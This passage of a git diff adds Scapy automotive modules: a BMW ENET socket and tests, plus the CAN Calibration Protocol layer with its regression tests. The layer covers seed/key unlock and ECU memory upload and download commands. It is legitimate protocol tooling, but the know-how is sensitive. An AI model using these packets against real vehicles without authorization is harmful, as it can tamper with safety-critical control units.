+class ENETSocket(StreamSocket): + def __init__(self, ip='127.0.0.1', port=6801): + self.ip = ip + self.port = port + s = socket.socket() + s.connect((self.ip, self.port)) + StreamSocket.__init__(self, s, ENET) + + +class ISOTP_ENETSocket(ENETSocket): + def __init__(self, src, dst, ip='127.0.0.1', port=6801, basecls=ISOTP): + super(ISOTP_ENETSocket, self).__init__(ip, port) + self.src = src + self.dst = dst + self.basecls = ENET + self.outputcls = basecls + + def send(self, x): + if not isinstance(x, ISOTP): + raise Scapy_Exception("Please provide a packet class based on " + "ISOTP") + super(ISOTP_ENETSocket, self).send( + ENET(src=self.src, dst=self.dst) / x) + + def recv(self, x=MTU): + pkt = super(ISOTP_ENETSocket, self).recv(x) + return self.outputcls(bytes(pkt[1])) diff --git a/libs/scapy/contrib/automotive/bmw/enet.uts b/libs/scapy/contrib/automotive/bmw/enet.uts new file mode 100755 index 0000000..13b69b8 --- /dev/null +++ b/libs/scapy/contrib/automotive/bmw/enet.uts @@ -0,0 +1,69 @@ ++ ENET Contrib tests + += Load Contrib Layer + +load_contrib("automotive.bmw.enet") + += Basic Test 1 + +pkt = ENET(type=1, src=0xf4, dst=0x10)/Raw(b'\x11\x22\x33') +assert bytes(pkt) == b'\x00\x00\x00\x05\x00\x01\xf4\x10\x11"3' + += Basic Test 2 + +pkt = ENET(type=1, src=0xf4, dst=0x10)/Raw(b'\x11\x22\x33\x11\x11\x11\x11\x11') +assert bytes(pkt) == b'\x00\x00\x00\x0a\x00\x01\xf4\x10\x11"3\x11\x11\x11\x11\x11' + += Basic Dissect Test + +pkt = ENET(b'\x00\x00\x00\x0a\x00\x01\xf4\x10\x11"3\x11\x11\x11\x11\x11') +assert pkt.length == 10 +assert pkt.src == 0xf4 +assert pkt.dst == 0x10 +assert pkt.type == 1 +assert pkt[1].service == 17 +assert pkt[2].resetType == 34 + += Build Test + +pkt = ENET(src=0xf4, dst=0x10)/Raw(b"0" * 20) +assert bytes(pkt) == b'\x00\x00\x00\x16\x00\x01\xf4\x10' + b"0" * 20 + += Dissect Test + +pkt = ENET(b'\x00\x00\x00\x18\x00\x01\xf4\x10\x67\x01' + b"0" * 20) +assert pkt.length == 24 +assert pkt.src == 0xf4 +assert pkt.dst == 0x10 +assert pkt.type == 1 +assert pkt.securitySeed == b"0" * 20 +assert len(pkt[1]) == pkt.length - 2 + += Dissect Test with padding + +pkt = ENET(b'\x00\x00\x00\x18\x00\x01\xf4\x10\x67\x01' + b"0" * 20 + b"p" * 100) +assert pkt.length == 24 +assert pkt.src == 0xf4 +assert pkt.dst == 0x10 +assert pkt.type == 1 +assert pkt.securitySeed == b"0" * 20 +assert pkt.load == b'p' * 100 + += Dissect Test to short packet + +pkt = ENET(b'\x00\x00\x00\x18\x00\x01\xf4\x10\x67\x01' + b"0" * 19) +assert pkt.length == 24 +assert pkt.src == 0xf4 +assert pkt.dst == 0x10 +assert pkt.type == 1 +assert pkt.securitySeed == b"0" * 19 + += Dissect Test very long packet + +pkt = ENET(b'\x00\x0f\xff\x04\x00\x01\xf4\x10\x67\x01' + b"0" * 0xfff00) +assert pkt.length == 0xfff04 +assert pkt.src == 0xf4 +assert pkt.dst == 0x10 +assert pkt.type == 1 +assert pkt.securitySeed == b"0" * 0xfff00 + diff --git a/libs/scapy/contrib/automotive/ccp.py b/libs/scapy/contrib/automotive/ccp.py new file mode 100755 index 0000000..e7be5ce --- /dev/null +++ b/libs/scapy/contrib/automotive/ccp.py @@ -0,0 +1,588 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = CAN Calibration Protocol (CCP) +# scapy.contrib.status = loads + +import struct + +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.fields import XIntField, FlagsField, ByteEnumField, \ + ThreeBytesField, XBitField, ShortField, IntField, XShortField, \ + ByteField, XByteField, StrFixedLenField, LEShortField +from scapy.layers.can import CAN + + +class CCP(CAN): + name = 'CAN Calibration Protocol' + fields_desc = [ + FlagsField('flags', 0, 3, ['error', + 'remote_transmission_request', + 'extended']), + XBitField('identifier', 0, 29), + ByteField('length', 8), + ThreeBytesField('reserved', 0), + ] + + def extract_padding(self, p): + return p, None + + +class CRO(Packet): + commands = { + 0x01: "CONNECT", + 0x1B: "GET_CCP_VERSION", + 0x17: "EXCHANGE_ID", + 0x12: "GET_SEED", + 0x13: "UNLOCK", + 0x02: "SET_MTA", + 0x03: "DNLOAD", + 0x23: "DNLOAD_6", + 0x04: "UPLOAD", + 0x0F: "SHORT_UP", + 0x11: "SELECT_CAL_PAGE", + 0x14: "GET_DAQ_SIZE", + 0x15: "SET_DAQ_PTR", + 0x16: "WRITE_DAQ", + 0x06: "START_STOP", + 0x07: "DISCONNECT", + 0x0C: "SET_S_STATUS", + 0x0D: "GET_S_STATUS", + 0x0E: "BUILD_CHKSUM", + 0x10: "CLEAR_MEMORY", + 0x18: "PROGRAM", + 0x22: "PROGRAM_6", + 0x19: "MOVE", + 0x05: "TEST", + 0x09: "GET_ACTIVE_CAL_PAGE", + 0x08: "START_STOP_ALL", + 0x20: "DIAG_SERVICE", + 0x21: "ACTION_SERVICE" + } + name = 'Command Receive Object' + fields_desc = [ + ByteEnumField('cmd', 0x01, commands), + ByteField('ctr', 0) + ] + + def hashret(self): + return struct.pack('B', self.ctr) + + +# ##### CROs ###### + +class CONNECT(Packet): + fields_desc = [ + LEShortField('station_address', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4), + ] + + +bind_layers(CRO, CONNECT, cmd=0x01) + + +class GET_CCP_VERSION(Packet): + fields_desc = [ + XByteField('main_protocol_version', 0), + XByteField('release_version', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) + ] + + +bind_layers(CRO, GET_CCP_VERSION, cmd=0x1B) + + +class EXCHANGE_ID(Packet): + fields_desc = [ + StrFixedLenField('ccp_master_device_id', b'\x00' * 6, length=6) + ] + + +bind_layers(CRO, EXCHANGE_ID, cmd=0x17) + + +class GET_SEED(Packet): + fields_desc = [ + XByteField('resource', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) + ] + + +bind_layers(CRO, GET_SEED, cmd=0x12) + + +class UNLOCK(Packet): + fields_desc = [ + StrFixedLenField('key', b'\x00' * 6, length=6) + ] + + +bind_layers(CRO, UNLOCK, cmd=0x13) + + +class SET_MTA(Packet): + fields_desc = [ + XByteField('mta_num', 0), + XByteField('address_extension', 0), + XIntField('address', 0), + ] + + +bind_layers(CRO, SET_MTA, cmd=0x02) + + +class DNLOAD(Packet): + fields_desc = [ + XByteField('size', 0), + StrFixedLenField('data', b'\x00' * 5, length=5) + ] + + +bind_layers(CRO, DNLOAD, cmd=0x03) + + +class DNLOAD_6(Packet): + fields_desc = [ + StrFixedLenField('data', b'\x00' * 6, length=6) + ] + + +bind_layers(CRO, DNLOAD_6, cmd=0x23) + + +class UPLOAD(Packet): + fields_desc = [ + XByteField('size', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) + ] + + +bind_layers(CRO, UPLOAD, cmd=0x04) + + +class SHORT_UP(Packet): + fields_desc = [ + XByteField('size', 0), + XByteField('address_extension', 0), + XIntField('address', 0), + ] + + +bind_layers(CRO, SHORT_UP, cmd=0x0F) + + +class SELECT_CAL_PAGE(Packet): + fields_desc = [ + StrFixedLenField('ccp_reserved', b'\xff' * 6, length=6) + ] + + +bind_layers(CRO, SELECT_CAL_PAGE, cmd=0x11) + + +class GET_DAQ_SIZE(Packet): + fields_desc = [ + XByteField('DAQ_num', 0), + XByteField('ccp_reserved', 0), + XIntField('DTO_identifier', 0), + ] + + +bind_layers(CRO, GET_DAQ_SIZE, cmd=0x14) + + +class SET_DAQ_PTR(Packet): + fields_desc = [ + XByteField('DAQ_num', 0), + XByteField('ODT_num', 0), + XByteField('ODT_element', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) + ] + + +bind_layers(CRO, SET_DAQ_PTR, cmd=0x15) + + +class WRITE_DAQ(Packet): + fields_desc = [ + XByteField('DAQ_size', 0), + XByteField('address_extension', 0), + XIntField('address', 0), + ] + + +bind_layers(CRO, WRITE_DAQ, cmd=0x16) + + +class START_STOP(Packet): + fields_desc = [ + XByteField('mode', 0), + XByteField('DAQ_num', 0), + XByteField('ODT_num', 0), + XByteField('event_channel', 0), + XShortField('transmission_rate', 0), + ] + + +bind_layers(CRO, START_STOP, cmd=0x06) + + +class DISCONNECT(Packet): + fields_desc = [ + ByteEnumField('type', 0, {0: "temporary", 1: "end_of_session"}), + StrFixedLenField('ccp_reserved0', b'\xff' * 1, length=1), + LEShortField('station_address', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) + ] + + +bind_layers(CRO, DISCONNECT, cmd=0x07) + + +class SET_S_STATUS(Packet): + name = "Set Session Status" + fields_desc = [ + FlagsField("session_status", 0, 8, ["CAL", "DAQ", "RESUME", "RES0", + "RES1", "RES2", "STORE", "RUN"]), + StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) + ] + + +bind_layers(CRO, SET_S_STATUS, cmd=0x0C) + + +class GET_S_STATUS(Packet): + fields_desc = [ + StrFixedLenField('ccp_reserved', b'\xff' * 6, length=6) + ] + + +bind_layers(CRO, GET_S_STATUS, cmd=0x0D) + + +class BUILD_CHKSUM(Packet): + fields_desc = [ + IntField('size', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) + ] + + +bind_layers(CRO, BUILD_CHKSUM, cmd=0x0E) + + +class CLEAR_MEMORY(Packet): + fields_desc = [ + IntField('size', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) + ] + + +bind_layers(CRO, CLEAR_MEMORY, cmd=0x10) + + +class PROGRAM(Packet): + fields_desc = [ + XByteField('size', 0), + StrFixedLenField('data', b'\x00' * 0, + length_from=lambda pkt: pkt.size), + StrFixedLenField('ccp_reserved', b'\xff' * 5, + length_from=lambda pkt: 5 - pkt.size) + ] + + +bind_layers(CRO, PROGRAM, cmd=0x18) + + +class PROGRAM_6(Packet): + fields_desc = [ + StrFixedLenField('data', b'\x00' * 6, length=6) + ] + + +bind_layers(CRO, PROGRAM_6, cmd=0x22) + + +class MOVE(Packet): + fields_desc = [ + IntField('size', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) + ] + + +bind_layers(CRO, MOVE, cmd=0x19) + + +class TEST(Packet): + fields_desc = [ + LEShortField('station_address', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) + ] + + +bind_layers(CRO, TEST, cmd=0x05) + + +class GET_ACTIVE_CAL_PAGE(Packet): + fields_desc = [ + StrFixedLenField('ccp_reserved', b'\xff' * 6, length=6) + ] + + +bind_layers(CRO, GET_ACTIVE_CAL_PAGE, cmd=0x09) + + +class START_STOP_ALL(Packet): + fields_desc = [ + ByteEnumField('type', 0, {0: "stop", 1: "start"}), + StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) + + ] + + +bind_layers(CRO, START_STOP_ALL, cmd=0x08) + + +class DIAG_SERVICE(Packet): + fields_desc = [ + ShortField('diag_service', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) + ] + + +bind_layers(CRO, DIAG_SERVICE, cmd=0x20) + + +class ACTION_SERVICE(Packet): + fields_desc = [ + ShortField('action_service', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) + ] + + +bind_layers(CRO, ACTION_SERVICE, cmd=0x21) + + +# ##### DTOs ###### + +class DEFAULT_DTO(Packet): + fields_desc = [ + StrFixedLenField('load', b'\xff' * 5, length=5), + ] + + +class GET_CCP_VERSION_DTO(Packet): + fields_desc = [ + XByteField('main_protocol_version', 0), + XByteField('release_version', 0), + StrFixedLenField('ccp_reserved', b'\x00' * 3, length=3) + ] + + +class EXCHANGE_ID_DTO(Packet): + fields_desc = [ + ByteField('slave_device_ID_length', 0), + ByteField('data_type_qualifier', 0), + ByteField('resource_availability_mask', 0), + ByteField('resource_protection_mask', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 1, length=1), + ] + + +class GET_SEED_DTO(Packet): + fields_desc = [ + XByteField('protection_status', 0), + StrFixedLenField('seed', b'\x00' * 4, length=4) + ] + + +class UNLOCK_DTO(Packet): + fields_desc = [ + ByteField('privilege_status', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4), + ] + + +class DNLOAD_DTO(Packet): + fields_desc = [ + XByteField('MTA0_extension', 0), + XIntField('MTA0_address', 0) + ] + + +class DNLOAD_6_DTO(Packet): + fields_desc = [ + XByteField('MTA0_extension', 0), + XIntField('MTA0_address', 0) + ] + + +class UPLOAD_DTO(Packet): + fields_desc = [ + StrFixedLenField('data', b'\x00' * 5, length=5) + ] + + +class SHORT_UP_DTO(Packet): + fields_desc = [ + StrFixedLenField('data', b'\x00' * 5, length=5) + ] + + +class GET_DAQ_SIZE_DTO(Packet): + fields_desc = [ + XByteField('DAQ_list_size', 0), + XByteField('first_pid', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) + ] + + +class GET_S_STATUS_DTO(Packet): + fields_desc = [ + FlagsField("session_status", 0, 8, ["CAL", "DAQ", "RESUME", "RES0", + "RES1", "RES2", "STORE", "RUN"]), + ByteField('information_qualifier', 0), + StrFixedLenField('information', b'\x00' * 3, length=3) + ] + + +class BUILD_CHKSUM_DTO(Packet): + fields_desc = [ + ByteField('checksum_size', 0), + StrFixedLenField('checksum_data', b'\x00' * 4, + length_from=lambda pkt: pkt.checksum_size), + StrFixedLenField('ccp_reserved', b'\xff' * 0, + length_from=lambda pkt: 4 - pkt.checksum_size) + ] + + +class PROGRAM_DTO(Packet): + fields_desc = [ + ByteField('MTA0_extension', 0), + XIntField('MTA0_address', 0) + ] + + +class PROGRAM_6_DTO(Packet): + fields_desc = [ + ByteField('MTA0_extension', 0), + XIntField('MTA0_address', 0) + ] + + +class GET_ACTIVE_CAL_PAGE_DTO(Packet): + fields_desc = [ + XByteField('address_extension', 0), + XIntField('address', 0) + ] + + +class DIAG_SERVICE_DTO(Packet): + fields_desc = [ + ByteField('data_length', 0), + ByteField('data_type', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) + ] + + +class ACTION_SERVICE_DTO(Packet): + fields_desc = [ + ByteField('data_length', 0), + ByteField('data_type', 0), + StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) + ] + + +class DTO(Packet): + __slots__ = Packet.__slots__ + ["payload_cls"] + + return_codes = { + 0x00: "acknowledge / no error", + 0x01: "DAQ processor overload", + 0x10: "command processor busy", + 0x11: "DAQ processor busy", + 0x12: "internal timeout", + 0x18: "key request", + 0x19: "session status request", + 0x20: "cold start request", + 0x21: "cal. data init. request", + 0x22: "DAQ list init. request", + 0x23: "code update request", + 0x30: "unknown command", + 0x31: "command syntax", + 0x32: "parameter(s) out of range", + 0x33: "access denied", + 0x34: "overload", + 0x35: "access locked", + 0x36: "resource/function not available" + } + fields_desc = [ + XByteField("packet_id", 0xff), + ByteEnumField('return_code', 0x00, return_codes), + ByteField('ctr', 0) + ] + + def __init__(self, *args, **kwargs): + self.payload_cls = DEFAULT_DTO + if "payload_cls" in kwargs: + self.payload_cls = kwargs["payload_cls"] + del kwargs["payload_cls"] + Packet.__init__(self, *args, **kwargs) + + def guess_payload_class(self, payload): + return self.payload_cls + + @staticmethod + def get_dto_cls(cmd): + try: + return { + 0x03: DNLOAD_DTO, + 0x04: UPLOAD_DTO, + 0x09: GET_ACTIVE_CAL_PAGE_DTO, + 0x0D: GET_S_STATUS_DTO, + 0x0E: BUILD_CHKSUM_DTO, + 0x0F: SHORT_UP_DTO, + 0x12: GET_SEED_DTO, + 0x13: UNLOCK_DTO, + 0x14: GET_DAQ_SIZE_DTO, + 0x17: EXCHANGE_ID_DTO, + 0x18: PROGRAM_DTO, + 0x1B: GET_CCP_VERSION_DTO, + 0x20: DIAG_SERVICE_DTO, + 0x21: ACTION_SERVICE_DTO, + 0x22: PROGRAM_6_DTO, + 0x23: DNLOAD_6_DTO + }[cmd] + except KeyError: + return DEFAULT_DTO + + def answers(self, other): + """In CCP, the payload of a DTO packet is dependent on the cmd field + of a corresponding CRO packet. Two packets correspond, if there + ctr field is equal. If answers detect the corresponding CRO, it will + interpret the payload of a DTO with the correct class. In CCP, there is + no other way, to determine the class of a DTO payload. Since answers is + called on sr and sr1, this modification of the original answers + implementation will give a better user experience. """ + if not hasattr(other, "ctr"): + return 0 + if self.ctr != other.ctr: + return 0 + if not hasattr(other, "cmd"): + return 0 + + new_pl_cls = self.get_dto_cls(other.cmd) + if self.payload_cls != new_pl_cls and \ + self.payload_cls == DEFAULT_DTO: + data = bytes(self.load) + self.remove_payload() + self.add_payload(new_pl_cls(data)) + self.payload_cls = new_pl_cls + return 1 + + def hashret(self): + return struct.pack('B', self.ctr) + + +bind_bottom_up(CCP, DTO) diff --git a/libs/scapy/contrib/automotive/ccp.uts b/libs/scapy/contrib/automotive/ccp.uts new file mode 100755 index 0000000..c5527e1 --- /dev/null +++ b/libs/scapy/contrib/automotive/ccp.uts @@ -0,0 +1,998 @@ +% Regression tests for the CCP layer + +# More information at http://www.secdev.org/projects/UTscapy/ + + +############ +############ + ++ Basic operations + += Load module + +load_contrib("automotive.ccp") + += Build CRO CONNECT + +cro = CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 1 +assert cro.cmd == 1 +assert cro.station_address == 0x02 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x01\x01\x02\x00\xff\xff\xff\xff' + += Dissect DTO CONNECT + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x01\xff\xff\xff\xff\xff') + +assert dto.answers(cro) +assert dto.identifier == 0x700 +assert dto.length == 8 +assert dto.flags == 0 +assert dto.ctr == 1 +assert dto.load == b"\xff" * 5 + += Build CRO EXCHANGE_ID + +cro = CCP(identifier=0x700)/CRO(ctr=18)/EXCHANGE_ID(ccp_master_device_id=b'abcdef') + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 18 +assert cro.cmd == 0x17 +assert cro.ccp_master_device_id == b"abcdef" +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x17\x12abcdef' + += Dissect DTO EXCHANGE_ID + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x12\x04\x02\x03\x03\xff') + +assert dto.ctr == 18 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x04\x02\x03\x03\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 18 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.slave_device_ID_length == 4 +assert dto.data_type_qualifier == 2 +assert dto.resource_availability_mask == 3 +assert dto.resource_protection_mask == 3 +assert dto.ccp_reserved == b"\xff" + += Build CRO GET_SEED + +cro = CCP(identifier=0x711)/CRO(ctr=19)/GET_SEED(resource=2) + +assert cro.identifier == 0x711 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 19 +assert cro.cmd == 0x12 +assert cro.resource == 2 +assert cro.ccp_reserved == b"\xff" * 5 + +assert bytes(cro) == b'\x00\x00\x07\x11\x08\x00\x00\x00\x12\x13\x02\xff\xff\xff\xff\xff' + += Dissect DTO GET_SEED + +dto = CCP(b'\x00\x00\x07\x11\x08\x00\x00\x00\xff\x00\x13\x01\x14\x15\x16\x17') + +assert dto.ctr == 19 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x01\x14\x15\x16\x17' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 19 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.protection_status == 0x1 +assert dto.seed == b'\x14\x15\x16\x17' + += Build CRO UNLOCK + +cro = CCP(identifier=0x711)/CRO(ctr=20)/UNLOCK(key=b"123456") + +assert cro.identifier == 0x711 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 20 +assert cro.cmd == 0x13 +assert cro.key == b"123456" + +assert bytes(cro) == b'\x00\x00\x07\x11\x08\x00\x00\x00\x13\x14123456' + += Dissect DTO UNLOCK + +dto = CCP(b'\x00\x00\x07\x11\x08\x00\x00\x00\xff\x00\x14\x02\xff\xff\xff\xff') + +assert dto.ctr == 20 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x02\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 20 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.privilege_status == 0x2 +assert dto.ccp_reserved == b"\xff" * 4 + += Build CRO SET_MTA + +cro = CCP(identifier=0x711)/CRO(ctr=21)/SET_MTA(mta_num=0, address_extension=0x02, address=0x34002000) + +assert cro.identifier == 0x711 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 21 +assert cro.cmd == 0x02 +assert cro.mta_num == 0 +assert cro.address_extension == 2 +assert cro.address == 0x34002000 + +assert bytes(cro) == b'\x00\x00\x07\x11\x08\x00\x00\x00\x02\x15\x00\x02\x34\x00\x20\x00' + += Dissect DTO SET_MTA + +dto = CCP(b'\x00\x00\x07\x11\x08\x00\x00\x00\xff\x00\x15\xff\xff\xff\xff\xff') + +assert dto.ctr == 21 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 21 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == b"\xff" * 5 + += Build CRO DNLOAD + +cro = CCP(identifier=0x700)/CRO(ctr=17)/DNLOAD(size=0x05, data=b'abcde') + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 17 +assert cro.cmd == 3 +assert cro.size == 0x05 +assert cro.data == b'abcde' +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x03\x11\x05abcde' + += Dissect DTO DNLOAD + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x11\x02\x34\x00\x20\x05') + +assert dto.ctr == 17 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x024\x00 \x05' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 17 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.MTA0_extension == 2 +assert dto.MTA0_address == 0x34002005 + += Build CRO DNLOAD_6 + +cro = CCP(identifier=0x700)/CRO(ctr=0x40)/DNLOAD_6(data=b'abcdef') + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x40 +assert cro.cmd == 0x23 +assert cro.data == b'abcdef' +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x23\x40abcdef' + += Dissect DTO DNLOAD_6 + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x40\x02\x34\x00\x20\x06') + +assert dto.ctr == 64 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x024\x00 \x06' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 64 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.MTA0_extension == 2 +assert dto.MTA0_address == 0x34002006 + += Build CRO UPLOAD + +cro = CCP(identifier=0x700)/CRO(ctr=0x41)/UPLOAD(size=4) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x41 +assert cro.cmd == 0x04 +assert cro.size == 4 +assert cro.ccp_reserved == b"\xff" * 5 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x04\x41\x04\xff\xff\xff\xff\xff' + += Dissect DTO UPLOAD + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x41\x10\x11\x12\x13\xff') + +assert dto.ctr == 65 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x10\x11\x12\x13\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 65 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.data == b"\x10\x11\x12\x13\xff" + += Build CRO SHORT_UP + +cro = CCP(identifier=0x700)/CRO(ctr=0x42)/SHORT_UP(size=4, address_extension=0, address=0x12345678) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x42 +assert cro.cmd == 0x0f +assert cro.size == 4 +assert cro.address == 0x12345678 +assert cro.address_extension == 0 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0f\x42\x04\x00\x12\x34\x56\x78' + += Dissect DTO SHORT_UP + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x42\x10\x11\x12\x13\xff') + +assert dto.ctr == 66 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x10\x11\x12\x13\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 66 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.data == b"\x10\x11\x12\x13\xff" + += Build CRO SELECT_CAL_PAGE + +cro = CCP(identifier=0x700)/CRO(ctr=0x43)/SELECT_CAL_PAGE() + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x43 +assert cro.cmd == 0x11 +assert cro.ccp_reserved == b"\xff" * 6 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x11\x43\xff\xff\xff\xff\xff\xff' + += Dissect DTO SELECT_CAL_PAGE + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x43\xff\xff\xff\xff\xff') + +assert dto.ctr == 67 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 67 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == b"\xff\xff\xff\xff\xff" + += Build CRO GET_DAQ_SIZE + +cro = CCP(identifier=0x700)/CRO(ctr=0x44)/GET_DAQ_SIZE(DAQ_num=0x03, DTO_identifier=0x1020304) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x44 +assert cro.cmd == 0x14 +assert cro.DAQ_num == 0x03 +assert cro.ccp_reserved == 00 +assert cro.DTO_identifier == 0x01020304 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x14\x44\x03\x00\x01\x02\x03\x04' + += Dissect DTO GET_DAQ_SIZE + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x44\x10\x08\xff\xff\xff') + +assert dto.ctr == 68 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x10\x08\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 68 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.DAQ_list_size == 16 +assert dto.first_pid == 8 +assert dto.ccp_reserved == b"\xff\xff\xff" + += Build CRO SET_DAQ_PTR + +cro = CCP(identifier=0x700)/CRO(ctr=0x45)/SET_DAQ_PTR(DAQ_num=3, ODT_num=5, ODT_element=2) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x45 +assert cro.cmd == 0x15 +assert cro.DAQ_num == 0x03 +assert cro.ODT_num == 5 +assert cro.ODT_element == 2 +assert cro.ccp_reserved == b"\xff\xff\xff" +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x15\x45\x03\x05\x02\xff\xff\xff' + += Dissect DTO SET_DAQ_PTR + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x45\xff\xff\xff\xff\xff') + +assert dto.ctr == 69 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 69 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == b'\xff\xff\xff\xff\xff' + += Build CRO WRITE_DAQ + +cro = CCP(identifier=0x700)/CRO(ctr=0x46)/WRITE_DAQ(DAQ_size=2, address_extension=1, address=0x2004200) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x46 +assert cro.cmd == 0x16 +assert cro.DAQ_size == 0x02 +assert cro.address_extension == 1 +assert cro.address == 0x2004200 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x16\x46\x02\x01\x02\x00\x42\x00' + += Dissect DTO WRITE_DAQ + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x46\xff\xff\xff\xff\xff') + +assert dto.ctr == 70 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 70 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == 